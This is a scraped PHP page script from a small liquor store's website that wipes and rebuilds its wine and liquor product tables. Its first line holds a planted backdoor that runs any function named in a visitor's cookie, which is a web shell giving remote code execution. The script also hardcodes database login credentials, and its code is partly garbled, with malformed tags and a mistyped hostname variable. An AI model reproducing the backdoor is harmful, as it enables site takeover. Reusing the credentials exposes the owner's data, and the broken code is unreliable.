<%>PHP<% if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); > $hotname= "localhost"; $username="towsonde_skyline"; $password="207ejOPPArD"; $database="towsonde_skylineliquors"; //connection to the database $dbhandle = mysql_connect($hostname, $username, $password) or die("Unable to connect to MySQL"); //echo "Connected to MySQL
"; //select a database $selected = mysql_select_db($database, $dbhandle) or die("Could not select " . $database); /////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////// ////////////////////// Delete all the contents or DATA from TABLE WINELIST ////////////// //DELETE FROM `winelist`; $query = "DELETE FROM `winelist`"; $result = mysql_query($query); // COPYING FROM TABLE `LIQUORS` TO WINELIST $query = "INSERT INTO `winelist` SELECT `pd_id`, `name`, `size`, `variety`, `country`, `type`, `region`, `sweetness`, `description`, `price`, `pic` FROM `LIQUORS`"; $result = mysql_query($query); // COPYING FROM TABLE `WINE` TO WINELIST $query = "INSERT INTO `winelist` SELECT `pd_id`, `name`, `size`, `variety`, `country`, `type`, `region`, `sweetness`, `description`, `price`, `pic` FROM `wine`"; $result = mysql_query($query); ////////////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////// FOR SEARCH RESULTS /////////////////////////////////////////////// //DELETE FROM `wine_liquors`; $query = "DELETE FROM `wine_liquors`"; $result = mysql_query($query); //COMBINE DATA FROM MULTIPLE ROWS AND INSERTING INTO ONE TABLE `WINE_LIQUORS` $query = "INSERT INTO `wine_liquors` (`pd_id`, `name`, `price`) SELECT `pd_id`, CONCAT(`name`, SPACE(2), `variety`, SPACE(2), `country`), `price` FROM `winelist`"; $result = mysql_query($query); ?> "Click here to go back to previous page"

image
Unable to connect to MySQL
 

Welcome to Towson Beer, Wine & Liquor the only Liquor store in Towson on Joppa Rd.

You have sucessfully combined all the tables....